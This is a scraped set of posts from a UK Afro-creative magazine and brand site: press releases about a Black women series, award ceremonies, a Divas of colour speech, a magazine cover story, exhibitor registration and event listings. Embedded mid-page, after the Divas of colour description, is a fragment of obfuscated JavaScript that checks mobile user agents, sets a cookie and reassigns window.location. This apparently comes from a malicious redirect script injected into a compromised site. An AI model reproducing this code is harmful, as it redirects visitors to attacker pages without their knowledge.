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is a Creative Brand; a brand that celebrates Creative Cultural Elegance, specializing in greeting cards, gifts and stationery that represent people of colour.

 

 

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C. Hub magazine launches a Black women series

Press Release: London 12/12/2015. C. Hub magazine Launches a Black Women series in view of International women’s day 2016.

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C. Hub magazine today launches a ground breaking series to highlight the contributions of Black women in nation building in a series articles which will be streamed on the website every week. These articles will include profiles of women of colour in every sector to encourage and highlight heroism among Black girls and women.

Faustina Anyanwu the magazine’s Chief editor said, “It’s important that we focus our energy in highlighting the best of women of colour as there isn’t much credit given to these women. If we truly want to build a nation of confident, high esteemed girls in our communities, we must show them their role models by creating awareness of the contributions that women like them make.”

The series is in collaboration with Divas of colour International women’s expo and award organised by MBW PR .  The yearly event is a special day to celebrate, recognise and discover the best of women of colour from around the globe.

C. Hub magazine is now encouraging people to send in their suggestions of women they want to hear about in other to be fully part of this project. The public can visit the C. Hub magazine website to send comment, or use the #Womenofcolourseries on social media to connect with other commenters .

The weekly series will run from now till end of March 2016 with different headlines focusing  emerging Black women entrepreneurs, influential women of colour, top women of note , individual Black women profiles and companies.

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About C. Hub magazine.

C. Hub magazine is the first and only Afro-creative magazine in the UK. Winner BEFFTA best magazine of the year, Extra-ordinary people’s Most Informative African magazine in the US.  C. Hub magazine is the only magazine that tells the unique  story behind every creativity.

About Divas of colour

Divas of colour is the largest gathering of world’s most influential women of colour, an annual ceremony to celebrate, recognise and reward the best of women of colour held in London in commemoration with International women’s day. The annual event see over 1000 women of colour from around the world. The ceremony includes, fashion show, trade show, music performances, fundraising and award ceremony.bw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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CA Award 2015 in pictures.

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HRM Theodora Oyebade received ICON recognition at the star studded CA award .

CHub Magazine Awards 2015 39.JPGwmLast Saturday C. Hub magazine Creativity Award (CA award) awarded 42 highly creative individuals. Of the 42, there were 6 ICON recognition recipients of which HRM was one of them. Along side Dr Alistair Soyode founder BEN TV, Mr Akin Salami founder OHTV, Pauline Long founder BEFFTA, Dr Nkem Ezeilo (celebrity healthy Lifestyle GP), Emmanuel Anyiam, founder British Urban Film Festival and HRM Theodora Oyebade , the pioneer and president of Nollywood UK producers and actor’s guild, movie producer and PR guru.
Her Royal Majesty was recognised for her role in bringing Nollywood to a lime light in the UK, creating and making ways for the growth of African Film industry in the UK and Europe.
Co-Director of the award’s body CA awards, Faustina Anyanwu said, “HRM Theodora Oyebade is a phenominal woman and a prominent face as far as Nollywood UK is concerned. She has played a unique and important role not just in the movie industry but in the general entertainment and creative industry, she has supported so many to be able to take off in their visions and career parts. This is why we have bestowed on her this recognition.”
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No doubt HRM’s presence was one of the highlights of the event as she and her husband Chief Ayo Oyebade gave a spectacularly romantic dance to Carol Jiani’s soulful performance to the amazement of the audience who kept clapping and vividly enjoyed it.
Queen Theo looked radiant and beautifully glamorous in her Black lace and Blue satin full dress by the fabulous designer Helen Peggy designs , make up by Tisco Beauty , and hair elegantly designed by Libeks Beauty Consultant.
In fact she stole the show especially on the C. Hub magazine #Bluecarpet . Now we can not wait to see what she comes up with as 2016 rolls in for another creative year.
For the full press release for the star studded CA award 2015, please click here . Follow the convo on Twitter and Instagram on @C_hubmagazine with the hash tag #CAaward2015
Some more moments at the CA award .
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Faustina Anyanwu’s speech at Divas of colour 2015.

Fauntee speaking“Today, I would like to thank God for all His mercies and directions, good health and bringing you all safely. Thank you so much my dear husband, mentor, spiritual powerhouse and my Executive Director. My daughters, Chelsea, Danielle and Jidechi, my mum , my aunt – Mrs Caroline Osuagwu and everyone whose support has made today possible. And thank you all for finding time out of your busy schedule to be with us today as we celebrate our women.

Divas of colour as you all know is a special day to recognise, reward and celebrate the contributions of women of colour from around the globe. It is a powerful day to empower, inspire, motivate and most importantly discover the best of our women. It is a day to remind us who we are and where we stand in the world.

As a woman, you stand at the centre of the universe and you have the ultimate power to control its turns and moves. You are the mother of mankind. As women, we are the powerhouse of life, the key to family and through you every society is born.

But it baffles me to know that in this day and age 1 in 3 women will be raped, abused and experience sexual harassment in her lifetime.

It baffles me to know that in this day and age, we’re still talking of Female Genital Mutilation (FGM). We still talk about forced marriages. We still talk about child bride, honour killing, sex selective abortion and so many other horrendous atrocities to degrade the woman.

Yes. We still talk about these things because women have refused to stand up for each other. For their daughters and for our girls . Women have forgotten their primary role which is to protect especially our young ones, and to hold our families together in love and gentleness.

This is not a time for me to blame the men. Today, I want to remind us women that we have willingly given up our power simply because of material things we want to acquire. Because we have refused to take up our primary role which is to nurture and protect. I ask you, who gave birth to the man who rapes , molest and harass women?

We make excuses. We call ourselves vulnerable. Yes we’re vulnerable, but , our vulnerability is our strongest power to control the world. Our vulnerability is our strongest tool to lead, to help, to understand, and to mend.

Our strength is in our vulnerability. Being vulnerable is no longer an excuse.

Our vulnerability can only become weakness when we as women continue to sit and watch our world turn upside down and crumble beneath us and we still sit.

Our Vulnerability becomes weakness when we see a fellow woman struggling to survive and we neglect or even judge her instead of stepping in to help.

We become weak when our young daughter tells us she’s been raped by a family member and we’re the first to shut her up, victimize, call her a disgrace and tells her she caused the rape.

We are weak when as women in position, we’re part of leadership that will sit on files of evidence that should give abused girls justice. We are weak because women these days fabricate rape just to earn some more money, gain position or for fame. We are weak because we are happy to gossip and tear our fellow woman down on social media even at her lowest moments. We are weak because we let ego stand in the way of love. We no longer watch each others back.

Today, it is our responsibility to reclaim our power even as we celebrate the contributions we have made. It is our responsibility to highlight the efforts of our women past and present. In doing so we’re able to channel the next generation on the part of real girl power which is to rediscover who we are as women and where our power lies.

As women we are powerful and beautifully made. When my mother was faced with extreme domestic violence, her mother, my grandmother did not judge her daughter or let her rot in marriage in order to protect family name. She stretched out her hands, takes her daughter and pregnancy plus three little ones. Without the strength and love of these women, there may not have been me today. There may not have been Divas of colour today. This is strength, this is power.

We need to reignite the strength and power that women before us showed . Women like Maya Angelou, Mary Seacole, Harriet Tubman and many others. Even in their imperfection, the showed how perfect a woman’s strength can be. We need to start thinking like the 10,000 women who stood up against the British Colonial masters in Nigeria – The Aba women’s riot till date is one of the most successful stand up against the government in history.

We need to start thinking like women and know that for us to keep our glory as queens and princesses, we must take up our primary roles with diligence and grace, pull up our clothes once more and be ladies who change the world for good.

Thank you.

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106 years old Irene Sinclair graces the cover of Pearlwoman magazine.

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106 years old Irene Sinclair graces the cover of Pearlwoman Magazine
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London, 06/08/2015 . Pearlwoman Magazine, Beautiful Wrinkles issue cover graces by 106 years old Guyanese model Irene Sinclair

Irene Sinclair has lived most of her life quietly as teacher, wife and mum. But that life changed in ten years ago when she stumbled into modelling. Getting that surprise visit from modelling agent looking for the perfect elderly face for Dove campaign. Irene thought it was a silly joke or they may have missed their way somehow. But no. 10 years on, Irene Sinclair has had the time of her life, the adventure has take her to places, her face on several billboards across cities and cover of glossy magazines. She has even turned down Oprah’s invitation for an interview .

However, in this exclusive interview with veteran journalist Sherry Dixon, for Pearlwoman magazine, the 106 year old Dove model reveals her secret to a long healthy life. For the first time talked about her first date and the gifts she received.

Going even more personal to reveal her early days, growing up in Georgetown, Guyana, childhood days playing outdoors, her school days, about her teachers as role models, her very strict parents and the pain of losing a beloved sister.

Like never before, Irene tells of her reason for leaving Guyana to move to London. She recalls memories of her early years in London. The things that matter, the things in vogue for a young woman. Irene was visibly happy remembering her invitation to attend the Queen mother’s birthday party in her later years. The joy of a life beautifully and peaceful fulfilled is palpable in this all new interview as seen in the next issue of PearlWoman Magazine issue 2, #BeautifulWrinkles. Out 28,August 2015.

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PearlWoman magazine is a free bimonthly print and online women only magazine for the woman who knows her worth. Another no junk quality magazine from the publishers of the multi-award winning C. Hub magazine. Cover photographed by Nick Gregan. (nickgregan.co.uk )

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Divas of colour 2016 Designers and Exhibitors registration

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Divas of colour offers opportunity for product launches. Are you considering launching your high-end products targeted to women? This is a great opportunity to utilise the already built platform to reach out and get your new product seen by lots of potential buyers of your product or service. There are lots of benefits if you choose to launch your product at Divas of colour 2016, including free publicity, logistics management, free invite , free opportunity to bring you product reviewers and other branding needs. Get in touch for a tailored quote.

 

 

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Save 10% off with code: DEAL offer ends – 01/01/2016

Divas of colour is the largest gathering of world’s most powerful women of colour from around the globe.  Divas of colour in it’s 3rd instalment is the most prestigious and lavish gathering for ethnic women in the UK and around the world.  2016 event includes, trade show and exhibition, Fashion show, speeches, fundraising and award dinner. Register below to secure your space to showcase or exhibit on this prestigious platform.

Our Promise to Exhibitors

We will not be accepting more than one exhibitor of the same brand such as Avon, Mary Kay, Forever Living etc.  If you stock any of these brands please confirm that there’s no one else before making payments.

All Exhibitors  are automatically  entered for Diva Brand award. Voting will be announced.

Our interested exhibitors will receive a low cost branding and marketing  help throughout the year. Through workshops, free newsletters on PR, branding and strategic marketing.

There is a limited special slot to showcase during the award night. This opportunity is priced differently.  Limited to 3 exhibitors only. get in touch please.  mbwprmgt@gmail.com

 

Click image to meet 2016 exhibiting brands

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Our showcasing  Fashion Designers

You will have the opportunity to receive all year round press coverage from our partner leading magazines – PearlWoman Magazine and C. Hub magazine.

All showcasing designers are automatically entered for Divas of colour Diva Designer of the year.

Designers will have opportunity to showcase 10 pieces of their collection.

We use only experienced models in partnership with Black Afro Queens modeling agency. (If you have any specific needs eg: size, height etc, do let us know. We will only provide female models).

We provide you with make up artists.

Fashion show starts at 1.00pm .

Our interested designers will receive a low cost branding and marketing  help throughout the year. Through workshops, free newsletters on PR, branding and strategic marketing.

Divas of colour will hold it’s first ever press and nomination day on the 21st of February 2016, a great opportunity for Designers to also network and grant press interviews.

If you have any specific question please contact us .

There is a limited special slot to showcase during the award night. This opportunity is priced differently.  Limited to 3 designers only. get in touch please.  mbwprmgt@gmail.com

Terms and Conditions

Please note that payments are non-refundable

Please note: we now have Mary Kay exhibitor and Forever Living products exhibitor. There fore if you’re brand is any of these two brands, please do not register to exhibit. However look out for dates other events during the year, or contact us to join our mailing list.

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London Entrepreneurs’ Network July Meet-up

London Entrepreneurs' Network bannerTopic – Building effective Collaboration
Presenter – Faustina Anyanwu
Lecture duration – 30mins.
Date Friday 31 July 2015.
Venue: See banner
Time : 3pm to 5pm
Members – £10
Non members – £25
2 members will have opportunity to pitch their business (first come first served.)
Refreshments will be served.

Book your seat here
It’s a known fact that no man is an island. As a small business, building a network of effective collaborators is a simple and sure way to building a successful business.
Successful collaboration requires an open exchange of ideas, embracing diversity of attitudes, values, assumptions, beliefs and building effective communication system.

This engaging session will demonstrate specific ways collaborate. How to spot collaborative opportunities , discovering ways to use differences to strength and encourage the communication of fresh and different views.

At the end of the session, delegates are expected to identify potential collaborators, be able to identify the need for collaboration and what areas they need to collaborate with others in their business.

-Delegates will also understand how to make collaborator offers, and negotiate for their good.
-Will know the difference between partnership and collaboration.
-Know when, how and length of time to collaborate.
-Know the benefits and dangers.

 

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Press release: C. Hub magazine named the most informative International magazine at The Extraordinary People’s Awards US

C.Hub issue 9EPA

 

 

 

 

 

 

 

 

London, Wednesday 13 May, 2015.  C. Hub magazine has been selected as the most informative International magazine  and the publishers and chief editor Emeka Anyanwu and Faustina Anyanwu  will be honoured with  The Extraordinary People’s Awards US.

Faustina today confirms  their invitation   to  attend the  prestigious Extraordinary People’s Awards, hosted by Heal The World Mission & laExpose’ which is slated for the weekend of Sept.11-13, 2015 at the elegant Anatole Hilton, Dallas TX. USA

Heal The World Mission, aside from scholarships, provide relief materials and support to widows and the needy in terms of food, shelter, visitation and financial support. La Expose’ as well  has been providing vital business services, inspiration and motivation to the members of the organization that can’t afford professional marketing and promotions.  Extraordinary People’s Award is an international award to  honour and empower individuals to serve and lead in their global communities, amplifying their gifts through our  network of media partners, mentors and volunteers. The most outstanding achievements  are honoured at the Extraordinary People’s Awards.  More details about the award can be found here – www.extrapeopleawards.com

The publishers Faustina and Emeka Anyanwu will be honoured on the  platform  as one of the most remarkable leaders in touching the lives of many in the diaspora.

In the letter, Dr. LaVerne Adekunle & Dr. Tola Olukilede, the founders of the Extraordinary People’s awards said, “It would be awesome to honour you as  Int’l Publishers. We have a reception planned to honour you and other country leaders, including a tour of major attractions in Dallas.”

Emeka Anyanwu the Director and publisher of C. Hub magazine says, “We’re so thrilled and grateful to receive such a recognition on a prestigious international platform such as Extraordinary People’s award.”

Faustina Anyanwu, co-founder and the  Chief editor says, “It came as a shock as we weren’t expecting that our work will be making much impact in the US.  This is a very welcomed news and I can’t wait to be in the midst of highly placed people. We can only say thank you to the organisers for choosing our magazine.

C. Hub magazine is the first and only Afro-creative magazine published in the UK.  Voted the BEFFTA best magazine of the year 2014 . C. Hub magazine is the only junk free, gossip free magazine, telling the unique stories behind every creativity. Available on print, online and on the App Store.  www.chubmagazine.com

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For any media enquiries or interviews, contact :

pr@mbwpr.com

02035321354.

pr@fauntee.com

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Book Launch: Our World in Metaphors by Prince Eze Ihenacho

Book launch : Our World in Metaphors.

Book launch : Our World in Metaphors.Prince Eze Ihenacho cordially invites members of the public, book lovers, reviewers, and friends to the launch of his latest book, Our World In Metaphors: Driven By The Truth.

Date: Saturday 13th August.
Time: 5.00PM – 11.30pm (Buffet served at 5 – 6pm prompt).
Venue:Empire Lounge (Bar and Restaurant) , 777 Old Kent Road. London, SE15 1NZ

About the book

Register to attend. Free Entry

Our world like the human body have different parts bringing their unique attributes together in one accord in order to function at its best.

Our World in Metaphors Driven by the Truth. Eze IhenachoOur World In Metaphors, Driven By the Truth’ offers thought provoking insight into the state of our world as a body that requires thorough overhauling, repairs and or replacement of damaged parts.

Be the first to read this evocative piece from the renowned philosopher, author of the acclaimed ‘Humility of the Brain in defence for humanity.’
Read more

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